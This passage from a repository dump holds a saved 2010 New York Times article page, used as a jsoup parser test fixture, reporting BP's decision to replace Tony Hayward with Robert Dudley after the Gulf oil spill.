-->\n</div><!-- // #page -->\n</body>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/test/resources/htmltests/nyt-article-1.html",
    "content": "\n\n\n\n\n\n\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n<head>\n<title>BP to Replace Hayward as Chief Executive - NYTimes.com</title>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n<meta name=\"description\" content=\"Mr. Hayward, the oil giant’s embattled chief executive, will be replaced by Robert Dudley, the American executive who is in charge of BP’s operations in the Gulf of Mexico.\">\n<meta name=\"keywords\" content=\"Oil (Petroleum) and Gasoline,Accidents and Safety,Offshore Drilling and Exploration,Executives and Management,Hayward  Tony,BP Plc\">\n<meta name=\"ROBOTS\" content=\"NOARCHIVE\">\n<meta name=\"DISPLAYDATE\" content=\"July 25, 2010\">\n<meta name=\"hdl\" content=\"BP to Replace Hayward as Chief Executive\">\n<meta name=\"hdl_p\" content=\"As BP Lays Out Future, It Will Not Include Hayward\">\n<meta name=\"byl\" content=\"By CLIFFORD KRAUSS and JAD MOUAWAD\">\n<meta name=\"lp\" content=\"Mr. Hayward, the oil giant’s embattled chief executive, will be replaced by Robert Dudley, the American executive who is in charge of BP’s operations in the Gulf of Mexico.\">\n<meta name=\"cre\" content=\"The New York Times\">\n<meta name=\"edt\" content=\"The New York Times on the Web\">\n<meta name=\"pdate\" content=\"20100725\">\n<meta name=\"ttl\" content=\"\">\n<meta name=\"virtloc\" content=\"\">\n<meta name=\"des\" content=\"Oil (Petroleum) and Gasoline;Accidents and Safety;Offshore Drilling and Exploration;Executives and Management\">\n<meta name=\"per\" content=\"Hayward, Tony\">\n<meta name=\"org\" content=\"BP Plc\">\n<meta name=\"geo\" content=\"\">\n<meta name=\"ticker\" content=\"BP Plc|BP|NYSE\">\n<meta name=\"misspelling\" content=\"\">\n<meta name=\"dat\" content=\"July 25, 2010\">\n<meta name=\"tom\" content=\"News\">\n<meta name=\"cat\" content=\"\">\n<meta name=\"col\" content=\"\">\n<meta name=\"dsk\" content=\"Business / Global Business\">\n<meta name=\"articleid\" content=\"1247468509141\">\n<meta name=\"ARTICLE_TEMPLATE_VERSION\" CONTENT=\"700\">\n<meta name=\"hdr_img\" content=\"/images/article/header/sect_business.gif\">\n<meta name=\"thumbnail\" content=\"images/2010/07/26/business/26bp_art/26bp_art-thumbStandard.jpg\">\n<meta name=\"thumbnail_height\" content=\"75\">\n<meta name=\"thumbnail_width\" content=\"75\">\n<meta name=\"xlarge\" content=\"\">\n<meta name=\"xlarge_height\" content=\"\">\n<meta name=\"xlarge_width\" content=\"\">\n<meta name=\"sectionfront_jsonp\" content=\"http://json8.nytimes.com/pages/business/global/index.jsonp\">\n<meta name=\"CG\" content=\"business\">\n<meta name=\"SCG\" content=\"global\">\n<meta name=\"PT\" content=\"Article\">\n<meta name=\"PST\" content=\"News\">\n<link rel=\"canonical\" href=\"http://www.nytimes.com/2010/07/26/business/global/26bp.html\" />\n\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/business/styles.css\"><!--[if IE]>\n    <style type=\"text/css\">\n        @import url(http://graphics8.nytimes.com/css/0.1/screen/common/ie.css);\n    </style>\n<![endif]-->\n<!--[if IE 6]>\n    <style type=\"text/css\">\n        @import url(http://graphics8.nytimes.com/css/0.1/screen/common/ie6.css);\n    </style>\n<![endif]-->\n<script type=\"text/javascript\" src=\"http://graphics8.nytimes.com/js/common.js\"></script>\n<script type=\"text/javascript\" src=\"http://graphics8.nytimes.com/js/common/screen/DropDown.js\"></script>\n<script type=\"text/javascript\" src=\"http://graphics8.nytimes.com/js/util/tooltip.js\"></script>\n<script type=\"text/javascript\" src=\"http://graphics8.nytimes.com/js/common/screen/altClickToSearch.js\"></script>\n<script type=\"text/javascript\" src=\"http://graphics8.nytimes.com/js/app/article/upNext.js\"></script>\n<script type=\"text/javascript\" src=\"http://graphics8.nytimes.com/js/article/articleShare.js\"></script>\n<script type=\"text/javascript\" src=\"http://graphics8.nytimes.com/js/article/comments/crnrXHR.js\"></script>\n<script type=\"text/javascript\" src=\"http://graphics8.nytimes.com/js/app/article/articleCommentCount.js\"></script>\n</head>\n\n    \n\n<body >\n\n\n<a name=\"top\"></a>\n<div id=\"shell\">\n<ul id=\"memberTools\">\n\n<!-- ADXINFO classification=\"text_ad\" campaign=\"nyt2010-circ-tr-bar1_international_366RU\"--><li><a href=\"http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=Bar1&sn2=1a50cb9d/923a393f&sn1=636d5f07/630a7ca5&camp=nyt2010-circ-tr-bar1_international_366RU&ad=093009-TR_bar1_366RU&goto=https%3A%2F%2Ftimesreader%2Enytimes%2Ecom%2Fwebapp%2Fwcs%2Fstores%2Fservlet%2FTimesReaderOffer%3FstoreId%3D10001%26catalogId%3D10001%26campaignId%3D366RU\" target=\"_blank\">Try Times Reader 2.0</a></li>\n\n\n \n\t\t\t\t<li><a href=\"http://www.nytimes.com/auth/login?URI=http://\">Log In</a></li>\n\t\t<li><a href=\"http://www.nytimes.com/gst/regi.html\">Register Now</a></li>\n\t\t\t\t\t\n\n</ul>\n<div class=\"tabsContainer\">\n<ul id=\"mainTabs\" class=\"tabs\">\n<li class=\"first\"><a href=\"http://www.nytimes.com\">Home Page</a></li>\n<li><a href=\"http://www.nytimes.com/pages/todayspaper/index.html\">Today's Paper</a></li>\n<li><a href=\"http://www.nytimes.com/video\">Video</a></li>\n<li><a href=\"http://www.nytimes.com/mostpopular\">Most Popular</a></li>\n<li><a href=\"http://topics.nytimes.com/top/reference/timestopics\">Times Topics</a></li>\n</ul>\n</div>\n<div id=\"page\" class=\"tabContent active\">\n<div class=\"clearfix\" id=\"masthead\">\n\n<div class=\"singleAd\" id=\"Middle1C\">\n<!-- ADXINFO classification=\"button\" campaign=\"ING_Direct_Q3_2010_01_1428598-nyt1\"--><SCRIPT type=\"text/javascript\" SRC=\"http://ad.doubleclick.net/adj/N3282.nytimes.comSD6440/B3948326.5;p=%99qnz%C8ot;sz=88x31;pc=nyt141145_237411;ord=2010.07.26.00.14.18;click=http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=Middle1C&camp=ING_Direct_Q3_2010_01_1428598-nyt1&ad=88x31_sitesearch_NEW_B3948326.5&sn2=8dbb4758/c01e224b&snr=doubleclick&snx=1280100044&sn1=706ff5be/78f5c531&goto=\">\n</SCRIPT>\n<NOSCRIPT>\n<A HREF=\"http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=Middle1C&sn2=8dbb4758/c01e224b&sn1=ca787673/a8bb851e&camp=ING_Direct_Q3_2010_01_1428598-nyt1&ad=88x31_sitesearch_NEW_B3948326.5&goto=http://ad.doubleclick.net/jump/N3282.nytimes.comSD6440/B3948326.5;p=%99qnz%C8ot;sz=88x31;pc=nyt141145_237411;ord=2010.07.26.00.14.18\" TARGET=\"_blank\">\n<IMG SRC=\"http://ad.doubleclick.net/ad/N3282.nytimes.comSD6440/B3948326.5;p=%99qnz%C8ot;sz=88x31;pc=nyt141145_237411;ord=2010.07.26.00.14.18\"\n BORDER=0 WIDTH=88 HEIGHT=31\n ALT=\"Click Here\"></A>\n</NOSCRIPT>\n</div>\n\n<div id=\"searchWidget\">\n<div class=\"inlineSearchControl\">\n<form enctype=\"application/x-www-form-urlencoded\" action=\"http://query.nytimes.com/search/sitesearch\" method=\"get\" name=\"searchForm\" id=\"searchForm\">\n<input type=\"hidden\" value=\"full\" name=\"date_select\"/>\n<label for=\"searchQuery\">Search All NYTimes.com</label>\n<input type=\"text\" class=\"text\" value=\"\" size=\"\" name=\"query\" id=\"searchQuery\"/>\n<input type=\"hidden\" id=\"searchAll\" name=\"type\" value=\"nyt\"/>\n<input id=\"searchSubmit\" title=\"Search\" width=\"22\" height=\"19\" alt=\"Search\" type=\"image\" src=\"http://graphics8.nytimes.com/images/global/buttons/go.gif\">\n</form>  \n</div>\n</div>\n<div id=\"branding\" >\n<a href=\"http://www.nytimes.com\"><img src=\"http://graphics8.nytimes.com/images/misc/nytlogo152x23.gif\" alt=\"New York Times\" id=\"NYTLogo\"/></a>\n</div>\n\n<h2>\n\n<a href=\"http://www.nytimes.com/pages/business/global/index.html\">Global Business</a>\n<span id=\"withReutersMastheadLogo\"><img src=\"http://graphics8.nytimes.com/images/misc/with-reuters-masthead-logo.gif\" alt=\"With Reuters\" /></span>\n</h2>\n\n</div>\n<div class=\"navigation tabsContainer\">\n<ul class=\"tabs\">\n<li id=\"navWorld\" class=\"first \">\n<a href=\"http://www.nytimes.com/pages/world/index.html\">World</a>\n</li>\t<li id=\"navUs\" >\n<a href=\"http://www.nytimes.com/pages/national/index.html\">U.S.</a>\n</li>\t<li id=\"navNyregion\" >\n<a href=\"http://www.nytimes.com/pages/nyregion/index.html\">N.Y. / Region</a>\n</li>\t<li id=\"navBusiness\" class=\"selected\">\n<a href=\"http://www.nytimes.com/pages/business/index.html\">Business</a>\n</li>\t<li id=\"navTechnology\" >\n<a href=\"http://www.nytimes.com/pages/technology/index.html\">Technology</a>\n</li>\t<li id=\"navScience\" >\n<a href=\"http://www.nytimes.com/pages/science/index.html\">Science</a>\n</li>\t<li id=\"navHealth\" >\n<a href=\"http://www.nytimes.com/pages/health/index.html\">Health</a>\n</li>\t<li id=\"navSports\" >\n<a href=\"http://www.nytimes.com/pages/sports/index.html\">Sports</a>\n</li>\t<li id=\"navOpinion\" >\n<a href=\"http://www.nytimes.com/pages/opinion/index.html\">Opinion</a>\n</li>\t<li id=\"navArts\" >\n<a href=\"http://www.nytimes.com/pages/arts/index.html\">Arts</a>\n</li>\t<li id=\"navStyle\" >\n<a href=\"http://www.nytimes.com/pages/style/index.html\">Style</a>\n</li>\t<li id=\"navTravel\" >\n<a href=\"http://www.nytimes.com/pages/travel/index.html\">Travel</a>\n</li>\t<li id=\"navJobs\" >\n<a href=\"http://www.nytimes.com/pages/jobs/index.html\">Jobs</a>\n</li>\t<li id=\"navRealestate\" >\n<a href=\"http://www.nytimes.com/pages/realestate/index.html\">Real Estate</a>\n</li>\t<li id=\"navAutomobiles\" >\n<a href=\"http://www.nytimes.com/pages/automobiles/index.html\">Autos</a>\n</li></ul>\n</div>\n<div class=\"subNavigation tabContent active\">\n<div class=\"column firstColumn\">\n<div id=\"searchWidget\">\n<div class=\"inlineSearchControl\">\n<form enctype=\"application/x-www-form-urlencoded\" action=\"http://query.nytimes.com/search/business/\" method=\"get\" name=\"searchForm\" id=\"searchForm\">\n<input type=\"hidden\" value=\"full\" name=\"date_select\"/>\n<input id=\"bsearchQuery\" type=\"text\" class=\"text\" name=\"query\" autocomplete=\"off\"/>\n<div class=\"querySuggestions\" style=\"display:none;\"></div>\n<input type=\"hidden\" id=\"searchAll\" name=\"type\" value=\"nyt\"/>\n<input id=\"searchSubmit\" title=\"Search\" width=\"40\" height=\"19\" alt=\"Search\" type=\"image\" src=\"http://graphics8.nytimes.com/images/global/global_search/search_button40x19.gif\">\n</form>  \n</div>\n</div><!--close searchWidget -->\n</div><!--close column -->\n<div class=\"column lastColumn\">\n<ul class=\"horizontalMenu wrap\">\n<li class=\"firstItem selected\">Global</li>\n<li><a href=\"http://dealbook.blogs.nytimes.com\">DealBook</a></li>\n<li><a href=\"http://markets.on.nytimes.com/research/markets/overview/overview.asp\">Markets</a></li>\n<li><a href=\"http://www.nytimes.com/pages/business/economy/index.html\">Economy</a></li>\n<li><a href=\"http://www.nytimes.com/pages/business/energy-environment/index.html\">Energy</a></li>\n<li><a href=\"http://www.nytimes.com/pages/business/media/index.html\">Media</a></li>\n<li><a href=\"http://www.nytimes.com/pages/technology/personaltech/index.html\">Personal Tech</a></li>\n<li><a href=\"http://www.nytimes.com/pages/business/smallbusiness/index.html\">Small Business</a></li>\n<li class=\"lastItem\"><a href=\"http://www.nytimes.com/pages/your-money/index.html\">Your Money</a></li>\n</ul>\n</div><!--close column -->\n</div><!--close subNavigation --> \t    \t\t\t\t    \t\t          \n\n\n\n<div class=\"singleAd\" id=\"TopAd\">\n<!-- ADXINFO classification=\"leaderboard_728\" campaign=\"Google_2010_BIZ_728x90_nyt15\"--><div class=\"clearfix\">\n<script type=\"text/javascript\" language=\"JavaScript\">\n<!--\n\tgoogle_ad_client = 'ca-nytimes_display_html';\n\tgoogle_alternate_ad_url = 'http://www.nytimes.com/ads/remnant/networkredirect-leaderboard.html';\n\tgoogle_ad_width = 728; \n\tgoogle_ad_height = 90;\n\tgoogle_ad_format = '728x90_pas_abgc';\n\tgoogle_ad_type = 'image,flash';\n\tgoogle_encoding = 'utf8'; \n\tgoogle_safe = 'high';\n\tgoogle_targeting = 'site';\n\tgoogle_ad_channel = 'business_leaderboard';\n// -->\n</script>\n<script type=\"text/javascript\" language=\"JavaScript\" src=\"http://pagead2.googlesyndication.com/pagead/show_ads.js\"></script>\n<noscript>\n\t<img height=\"1\" width=\"1\" border=\"0\" src=\"http://pagead2.googlesyndication.com/pagead/imp.gif?client=ca-nytimes_display_html&event=noscript\" /> \n</noscript>\n<div style=\"font-family: Arial; font-size: 10px; color:#004276; float: right; margin-right: 125px;\"><a href=\"http://www.nytimes.whsites.net/mediakit/\">Advertise on NYTimes.com</a></div></div>\n\n</div>\n\n\n<div id=\"main\">\n<div class=\"spanAB wrap closing\">\n<div id=\"abColumn\" class=\"abColumn\"><!--open abColumn -->\n<div id=\"article\">\n<!--cur: prev:-->\n<div class=\"columnGroup  first\">\t\t\t\t\n<h1 class=\"articleHeadline\"><NYT_HEADLINE  version=\"1.0\" type=\" \">As BP Lays Out Future, It Will Not Include Hayward</NYT_HEADLINE></h1>\n<NYT_BYLINE >\t<h6 class=\"byline\">By <a href=\"http://topics.nytimes.com/top/reference/timestopics/people/k/clifford_krauss/index.html?inline=nyt-per\" title=\"More Articles by Clifford Krauss\" class=\"meta-per\">CLIFFORD KRAUSS</a> and <a href=\"http://topics.nytimes.com/top/reference/timestopics/people/m/jad_mouawad/index.html?inline=nyt-per\" title=\"More Articles by Jad Mouawad\" class=\"meta-per\">JAD MOUAWAD</a></h6>\n</NYT_BYLINE>\t<h6 class=\"dateline\">Published: July 25, 2010</h6>\n<script type=\"text/javascript\">\nvar articleToolsShareData = {\"url\":\"http:\\/\\/www.nytimes.com\\/2010\\/07\\/26\\/business\\/global\\/26bp.html\",\"headline\":\"As BP Lays Out Future, It Will Not Include Hayward\",\"description\":\"Mr. Hayward, the oil giant\\u2019s embattled chief executive, will be replaced by Robert Dudley, the American executive who is in charge of BP\\u2019s operations in the Gulf of Mexico.\",\"keywords\":\"Oil (Petroleum) and Gasoline,Accidents and Safety,Offshore Drilling and Exploration,Executives and Management,Hayward  Tony,BP Plc\",\"section\":\"business\",\"sub_section\":\"global\",\"section_display\":\"Business\",\"sub_section_display\":\"Global Business\",\"byline\":\"By <a href=\\\"http:\\/\\/topics.nytimes.com\\/top\\/reference\\/timestopics\\/people\\/k\\/clifford_krauss\\/index.html?inline=nyt-per\\\" title=\\\"More Articles by Clifford Krauss\\\" class=\\\"meta-per\\\">CLIFFORD KRAUSS<\\/a> and <a href=\\\"http:\\/\\/topics.nytimes.com\\/top\\/reference\\/timestopics\\/people\\/m\\/jad_mouawad\\/index.html?inline=nyt-per\\\" title=\\\"More Articles by Jad Mouawad\\\" class=\\\"meta-per\\\">JAD MOUAWAD<\\/a>\",\"pubdate\":\"July 25, 2010\",\"passkey\":null};\nfunction getShareURL() {\n    return encodeURIComponent(articleToolsShareData.url);\n}\nfunction getShareHeadline() {\n    return encodeURIComponent(articleToolsShareData.headline);\n}\nfunction getShareDescription() {\n    return encodeURIComponent(articleToolsShareData.description);\n}\nfunction getShareKeywords() {\n    return encodeURIComponent(articleToolsShareData.keywords);\n}\nfunction getShareSection() {\n    return encodeURIComponent(articleToolsShareData.section);\n}\nfunction getShareSubSection() {\n\treturn encodeURIComponent(articleToolsShareData.sub_section);\n}\nfunction getShareSectionDisplay() {\n    return encodeURIComponent(articleToolsShareData.section_display);\n}\nfunction getShareSubSectionDisplay() {\n    return encodeURIComponent(articleToolsShareData.sub_section_display);\n}\nfunction getShareByline() {\n    return encodeURIComponent(articleToolsShareData.byline);\n}\nfunction getSharePubdate() {\n    return encodeURIComponent(articleToolsShareData.pubdate);\n}\nfunction getSharePasskey() {\n    return encodeURIComponent(articleToolsShareData.passkey);\n}\n</script>\n<div class=\"articleTools\">\n<div class=\"box\">\n<div class=\"inset\">\n<ul id=\"toolsList\" class=\"toolsList wrap\">\n<li class=\"comments\"><a onClick=\"javascript:dcsMultiTrack('DCS.dcssip','www.nytimes.com','DCS.dcsuri','/article comments/view-tools.html','WT.ti','Article Comments View Tools','WT.z_aca','Tools-View','WT.gcom','Com');\" href=\"http://community.nytimes.com/comments/www.nytimes.com/2010/07/26/business/global/26bp.html\" >comments <span id=\"commentCount\"></span></a></li>\n<li class=\"email\">\n\n<a id=\"emailThis\" onClick=\"s_code_linktrack('Article-Tool-EmailSignIn');\" \n           href=\"http://www.nytimes.com/auth/login?URI=http://www.nytimes.com/2010/07/26/business/global/26bp.html\">Sign In to E-Mail</a>\n</li>\n<li class=\"print\">\n<A HREF=\"/2010/07/26/business/global/26bp.html?hp=&pagewanted=print\">Print</a>\n</li>\n\n<A HREF=\"/2010/07/26/business/global/26bp.html?hp=&pagewanted=all\"></a>\n\n<NYT_REPRINTS_FORM>\n\n<script name=\"javascript\">\n\t\t\t\t\tfunction submitCCCForm(){\n\t\t\t\t\t\tPopUp = window.open('', '_Icon','location=no,toolbar=no,status=no,width=650,height=550,scrollbars=yes,resizable=yes');\n\t\t\t\t\t\tthis.document.cccform.submit();\n\t\t\t\t\t}\n\t\t\t\t\t</script>\n<li class=\"reprints\">\n<form name=\"cccform\" action=\"https://s100.copyright.com/CommonApp/LoadingApplication.jsp\" target=\"_Icon\">\n<input type=\"hidden\" name=\"Title\" value=\"As BP Lays Out Future, It Will Not Include Hayward\">\n<input type=\"hidden\" name=\"Author\" value=\"By CLIFFORD KRAUSS and JAD MOUAWAD \">\n<input type=\"hidden\" name=\"ContentID\" value=\"http://www.nytimes.com/2010/07/26/business/global/26bp.html\">\n<input type=\"hidden\" name=\"FormatType\" value=\"default\">\n<input type=\"hidden\" name=\"PublicationDate\" value=\"July 26, 2010\">\n<input type=\"hidden\" name=\"PublisherName\" value=\"The New York Times\">\n<input type=\"hidden\" name=\"Publication\" value=\"nytimes.com\">\n<input type=\"hidden\" name=\"wordCount\" value=\"12\">\n</form>\n<a href=\"#\" onClick=\"submitCCCForm()\">Reprints</a>\n</li>\n\n</NYT_REPRINTS_FORM>\n</ul>\n<div class=\"articleToolsSponsor\" id=\"Frame4A\"><!-- ADXINFO classification=\"button_120x60\" campaign=\"foxsearch2010_emailtools_1225558c_nyt5\"--><a href=\"http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/yr/mo/day/business&pos=Frame4A&sn2=a23bc051/6ffe8c2e&sn1=ec77b465/65acc4bd&camp=foxsearch2010_emailtools_1225558c_nyt5&ad=Conviction_120x60_06.18&goto=http%3A%2F%2Fwww%2Efoxsearchlight%2Ecom%2Fconviction\" target=\"_blank\">\n<img src=\"http://graphics8.nytimes.com/adx/images/ADS/23/60/ad.236028/conviction_120x60.gif\" width=\"120\" height=\"60\" border=\"0\"></a>\n</div>        </div>\n</div>\n</div>\n<div class=\"articleBody\">\n\n\n\n\n\n\n<NYT_TEXT >\n\n<NYT_CORRECTION_TOP>\n</NYT_CORRECTION_TOP>\n    <p>\n<a href=\"http://topics.nytimes.com/top/reference/timestopics/people/h/tony_hayward/index.html?inline=nyt-per\" title=\"More articles about Tony Hayward.\" class=\"meta-per\">Tony Hayward</a>, the embattled chief executive of <a href=\"http://topics.nytimes.com/top/news/business/companies/bp_plc/index.html?inline=nyt-org\" title=\"More information about BP P.L.C.\" class=\"meta-org\">BP</a>, has agreed to step down and be replaced by <a href=\"http://topics.nytimes.com/top/reference/timestopics/people/d/robert_dudley/index.html?inline=nyt-per\" title=\"More articles about Robert Dudley.\" class=\"meta-per\">Robert Dudley</a>, the company&rsquo;s most senior American executive who is now in charge of BP&rsquo;s operations in the Gulf of Mexico, according to a person close to the company&rsquo;s board.\t\t</p> \n</div>\n<div class=\"articleInline runaroundLeft\">\n  \n<!--forceinline-->   \n<div class=\"inlineImage module\">\n<div class=\"image\">\n<div class=\"icon enlargeThis\"><a href=\"javascript:pop_me_up2('http://www.nytimes.com/imagepages/2010/07/26/business/26bp_art.html','26bp_art_html','width=431,height=600,scrollbars=yes,toolbars=no,resizable=yes')\">Enlarge This Image</a></div>\n<a href=\"javascript:pop_me_up2('http://www.nytimes.com/imagepages/2010/07/26/business/26bp_art.html','26bp_art_html','width=431,height=600,scrollbars=yes,toolbars=no,resizable=yes')\">\n<img src=\"http://graphics8.nytimes.com/images/2010/07/26/business/26bp_art/26bp_art-articleInline.jpg\" width=\"190\" height=\"255\" alt=\"\">\n</a>\n</div>\n<h6 class=\"credit\">Susan Walsh/Associated Press</h6>\n<p class=\"caption\">CEO Tony Hayward, left, may be replaced by Bob Dudley, right, BP’s most senior American executive, according to a person close to the board.                             </p>\n</div>\n  \n<div class=\"columnGroup doubleRule\">\n<h3 class=\"sectionHeader\">Related</h3>\n<ul class=\"headlinesOnly multiline flush\">\n<li>\n<h6><a href=\"http://www.nytimes.com/2010/07/13/business/energy-environment/13bprisk.html?ref=global\">\nIn BP’s Record, a History of  Boldness and  Costly Blunders</a>\n(July 13, 2010)\n</h6>\n</li>\n<li>\n<h6><a href=\"http://www.nytimes.com/2010/07/08/business/global/08bp.html?ref=global\">\nBP Tries to Reassure Shareholders</a>\n(July 8, 2010)\n</h6>\n</li>\n</ul>\n</div>\n<div id=\"portfolioInline\">\n<h3 class=\"sectionHeader\">Add to Portfolio</h3>\n<ul class=\"flush\">\n\n\n\t\t\t\t\t\t\t<li><a href=\"http://www.nytimes.com/auth/login?URI=http://www.nytimes.com/2010/07/26/business/global/26bp.html\">BP Plc</a></li>\n\t\t\t\t\t\t\t\n</ul>\n<p class=\"refer\"><a href=\"http://markets.on.nytimes.com/research/portfolio/view/view.asp#sda\">Go to your Portfolio &#187;</a></p>\n</div>\n  \n<div class=\"inlineImage module\">\n<div class=\"image\">\n<img src=\"http://graphics8.nytimes.com/images/2010/07/26/business/26bp-dudlye/26bp-dudlye-articleInline.jpg\" width=\"190\" height=\"262\" alt=\"\">\n</div>\n<h6 class=\"credit\">Steven Senne/Associated Press</h6>\n<p class=\"caption\">Robert Dudley.                            </p>\n</div>\n   \n</div>\n<div id=\"readerscomment\" class=\"inlineLeft\"></div>\n<div class=\"articleBody\">\n <p>\nThe change in leadership will be discussed by the board of directors on Monday and  may be announced Tuesday  if the board ratifies the decision. Mr. Hayward would probably be replaced in the fall, the person said, but a decision has already been made by mutual agreement between Mr. Hayward and senior BP management.\t\t</p><p>\n&ldquo;It is in the best interest of the company to go forward with fresh leadership,&rdquo; the person said.\t\t</p><p>\nMr. Hayward, who has been running BP since 2007, is the first senior executive at BP to pay the price for the largest <a href=\"http://topics.nytimes.com/top/reference/timestopics/subjects/o/oil_spills/gulf_of_mexico_2010/index.html?inline=nyt-classifier\" title=\"More articles about oil spills.\" class=\"meta-classifier\">oil spill</a> in the United States, after the Deepwater Horizon blew up on April 20. His handling of the crisis has infuriated Gulf Coast residents and government officials alike, especially after a series of public gaffes forced him to retreat from the spotlight.\t\t</p><p>\nA great deal is at stake for BP, which remains under considerable pressure even though the oil has stopped gushing from its well underneath the Gulf of Mexico. A tropical storm over the weekend  briefly forced BP to suspend operations to permanently plug the doomed well. Some members of Congress want to ban BP from running new offshore ventures. The Senate, meanwhile, is expected to vote on legislation this week that would hold &ldquo;BP accountable,&rdquo; said Senator <a href=\"http://topics.nytimes.com/top/reference/timestopics/people/r/harry_reid/index.html?inline=nyt-per\" title=\"More articles about Harry Reid.\" class=\"meta-per\">Harry Reid</a>, the Democratic majority leader.\t\t</p><p>\nAnd the company continues to lurch from one public relations embarrassment to another. Last week, BP admitted it posted doctored pictures of its spill operations on its corporate Web site.\t\t</p><p>\nAnd on Saturday, <a href=\"http://topics.nytimes.com/top/reference/timestopics/people/f/kenneth_r_feinberg/index.html?inline=nyt-per\" title=\"More articles about Kenneth R. Feinberg.\" class=\"meta-per\">Kenneth Feinberg</a>, the administrator managing the $20 billion claims fund BP set up under pressure from the White House, accused the company of holding up compensation payments to spill victims.\t\t</p><p>\n&ldquo;I have a concern that BP is stalling claims,&rdquo; Mr. Feinberg told reporters. &ldquo;I doubt they are stalling for money. It&rsquo;s not that. I just don&rsquo;t think they know the answers to the questions&rdquo; by the claimants.\t\t</p><p>\nThis uncertainty about BP&rsquo;s future business, its ultimate liabilities and its public relations debacle continue to weigh on the company&rsquo;s share price, which is down about 40 percent since the spill started.\t\t</p><p>\n&ldquo;The key issue now is whether investors and BP&rsquo;s board think Tony Hayward is the right person to move the company forward,&rdquo; said Matthew J. Slaughter, a professor at <a href=\"http://topics.nytimes.com/top/reference/timestopics/organizations/d/dartmouth_college/index.html?inline=nyt-org\" title=\"More articles about Dartmouth College\" class=\"meta-org\">Dartmouth College</a>&rsquo;s Tuck School of Business. &ldquo;Is this a BP problem or is this a Tony Hayward problem?&rdquo;\t\t</p><p>\nRegardless of who leads the company, BP&rsquo;s top executives have a lot to tackle. They need to convince the company&rsquo;s constituents &mdash; its shareholders, regulators and government officials in the United States and other countries where BP has operations &mdash; that BP can pay all  costs related to the spill, clean up the Gulf Coast, and still manage to grow its business around the world, analysts said.\t\t</p><p>\nIn recent weeks, BP has taken steps to put the oil spill behind it. It has been busy negotiating the sale of some of its assets in Texas, Egypt and Canada to the <a href=\"http://topics.nytimes.com/top/news/business/companies/apache_corporation/index.html?inline=nyt-org\" title=\"More information about Apache Corporation\" class=\"meta-org\">Apache Corporation</a>, raising $7 billion. Mr. Hayward personally sought to reassure key officials in Russia and Azerbaijan, where BP has large operations, that the company was still a reliable and safe partner.\t\t</p><p>\nBP also recently announced that it had won new concessions to drill offshore Egypt; alongside <a href=\"http://topics.nytimes.com/top/news/business/companies/chevron_corporation/index.html?inline=nyt-org\" title=\"More information about Chevron Corp\" class=\"meta-org\">Chevron</a>, it reportedly bid for an offshore exploration block in the South China Sea; and this month, it spent nearly $100 million to buy a cellulosic biofuel business.\t\t</p><p>\nIn the gulf, there was positive news when BP finally managed to stem the flow of oil with a new cap. The company hopes to permanently shut the well within the next few weeks.\t\t</p><p>\nBruce Lanni, an energy portfolio strategist at Nollenberger Capital Partners, said the fact that no more oil was spilling the gulf was &ldquo;an inflection point&rdquo; for BP.\t\t</p><p>\n&ldquo;There are a lot of good things now going in BP&rsquo;s favor,&rdquo; Mr. Lanni said. &ldquo;There has been an overreaction to the cost of the spill. BP has the opportunity to emerge as a stronger company. I think this is where investors are missing a window of opportunity.&rdquo;\t\t</p><p>\nSome investors, however, are still concerned about the ultimate price tag for the spill. Uncertainty over BP&rsquo;s liabilities is keeping its shares under considerable pressure, although they rebounded somewhat in recent weeks. BP stock closed at $36.86 on Friday, valuing the company at $115 billion.\t\t</p><p>\n&ldquo;Right now the market is just guessing what the liability might be for BP,&rdquo; Jay Singhania, a vice president at Westwood Management. &ldquo;If BP could help outline exactly what the costs would be, then investors could gain more confidence.&rdquo;\t\t</p><p>\nThe final bill will depend, in part, on whether the investigation determines that BP was negligent and responsible for the blowout at its Macondo oil well. The explosion on the Deepwater Horizon drilling rig on April 20 killed 11 workers.\t\t</p><p>\nSo far, BP said it has spent $3.95 billion on its containment and clean up efforts. The company warned in a statement, &ldquo;It is too early to quantify other potential costs and liabilities associated with the incident.&rdquo;\t\t</p><p>\nInvestors and analysts also insisted that BP must rapidly tackle its safety record head-on. &ldquo;It is very clear BP will need to show that its management practices will improve and instill an greater safety discipline within the organization,&rdquo; said Catharina Milostan, an energy analyst at <a href=\"http://topics.nytimes.com/top/news/business/companies/morningstar-inc/index.html?inline=nyt-org\" title=\"More information about Morningstar Incorporated\" class=\"meta-org\">Morningstar</a>.\t\t</p><p>\nMr. Hayward, a geologist who began his career at BP and became chief executive in 2007, inherited a company with a poor safety record that resulted in a string of deadly accidents and spills in the United States. He sought to change the &ldquo;top-down&rdquo; style of management while trying to simplify its structure. Last year, he said it would take five years to change BP&rsquo;s culture and adopt a single, companywide operating system.\t\t</p><NYT_AUTHOR_ID>\t<div class=\"authorIdentification\">\n<p><p>Julia Werdigier contributed reporting.</p></p>\n</div>\n</NYT_AUTHOR_ID><NYT_CORRECTION_BOTTOM>\t<div class=\"articleCorrection\">\n</div>\n</NYT_CORRECTION_BOTTOM><NYT_UPDATE_BOTTOM>\n</NYT_UPDATE_BOTTOM>\n</NYT_TEXT>\n</div>\t</div>\n<!--cur: prev:-->\n<div class=\"columnGroup  \">\t\t\t\t\n<div class=\"articleFooter\">\n<div class=\"articleMeta\">\n<div class=\"opposingFloatControl wrap\">\n</div>\n</div>\n</div>\t</div>\n<!--cur: prev:-->\n<div class=\"columnGroup  last\">\t\t\t\t\n<div id=\"articleExtras\">\n<div class=\"expandedToolsRight\">\n<div class=\"articleTools\">\n<div class=\"box\">\n<div class=\"inset\">\n<ul id=\"toolsList\" class=\"toolsList wrap\">\n<li class=\"comments\"><a onClick=\"javascript:dcsMultiTrack('DCS.dcssip','www.nytimes.com','DCS.dcsuri','/article comments/view-tools.html','WT.ti','Article Comments View Tools','WT.z_aca','Tools-View','WT.gcom','Com');\" 